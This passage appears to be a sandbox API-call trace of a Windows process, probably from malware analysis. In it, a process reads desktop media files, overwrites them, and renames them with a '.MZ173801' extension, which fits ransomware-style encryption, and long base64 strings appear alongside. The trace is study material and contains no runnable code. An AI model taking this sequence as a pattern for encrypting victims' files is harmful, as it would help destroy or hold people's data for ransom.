kRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.917] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.919] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Oy_0SQHFd.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oy_0sqhfd.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.919] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0144.920] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.920] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x5cc9 [0144.920] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.920] ReadFile (in: hFile=0x224, lpBuffer=0x714510, nNumberOfBytesToRead=0x5cc9, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x5cc9, lpOverlapped=0x0) returned 1 [0144.921] CloseHandle (hObject=0x224) returned 1 [0144.922] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Oy_0SQHFd.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oy_0sqhfd.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.924] WriteFile (in: hFile=0x224, lpBuffer=0x71a540*, nNumberOfBytesToWrite=0x5cc9, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x71a540*, lpNumberOfBytesWritten=0x18f99c*=0x5cc9, lpOverlapped=0x0) returned 1 [0144.925] CloseHandle (hObject=0x224) returned 1 [0144.926] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Oy_0SQHFd.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oy_0sqhfd.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Oy_0SQHFd.swf.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oy_0sqhfd.swf.mz173801")) returned 1 [0144.928] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PUbVsINeNscxA.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pubvsinenscxa.flv"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59890f70, ftCreationTime.dwHighDateTime=0x1d5e6a3, ftLastAccessTime.dwLowDateTime=0x18df08d0, ftLastAccessTime.dwHighDateTime=0x1d5da4b, ftLastWriteTime.dwLowDateTime=0x18df08d0, ftLastWriteTime.dwHighDateTime=0x1d5da4b, nFileSizeHigh=0x0, nFileSizeLow=0x75fd)) returned 1 [0144.930] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.930] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.932] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PUbVsINeNscxA.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pubvsinenscxa.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.932] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0144.932] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.932] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x75fd [0144.932] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.932] ReadFile (in: hFile=0x224, lpBuffer=0x714510, nNumberOfBytesToRead=0x75fd, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x75fd, lpOverlapped=0x0) returned 1 [0144.933] CloseHandle (hObject=0x224) returned 1 [0144.934] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PUbVsINeNscxA.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pubvsinenscxa.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.935] WriteFile (in: hFile=0x224, lpBuffer=0x71c540*, nNumberOfBytesToWrite=0x75fd, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x71c540*, lpNumberOfBytesWritten=0x18f99c*=0x75fd, lpOverlapped=0x0) returned 1 [0144.937] CloseHandle (hObject=0x224) returned 1 [0144.937] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PUbVsINeNscxA.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pubvsinenscxa.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PUbVsINeNscxA.flv.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pubvsinenscxa.flv.mz173801")) returned 1 [0144.939] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pVjAn4Y7HQcGd.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pvjan4y7hqcgd.mkv"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85a91d10, ftCreationTime.dwHighDateTime=0x1d5d8e9, ftLastAccessTime.dwLowDateTime=0x8a096bd0, ftLastAccessTime.dwHighDateTime=0x1d5d7ea, ftLastWriteTime.dwLowDateTime=0x8a096bd0, ftLastWriteTime.dwHighDateTime=0x1d5d7ea, nFileSizeHigh=0x0, nFileSizeLow=0xd1f5)) returned 1 [0144.940] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.940] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlF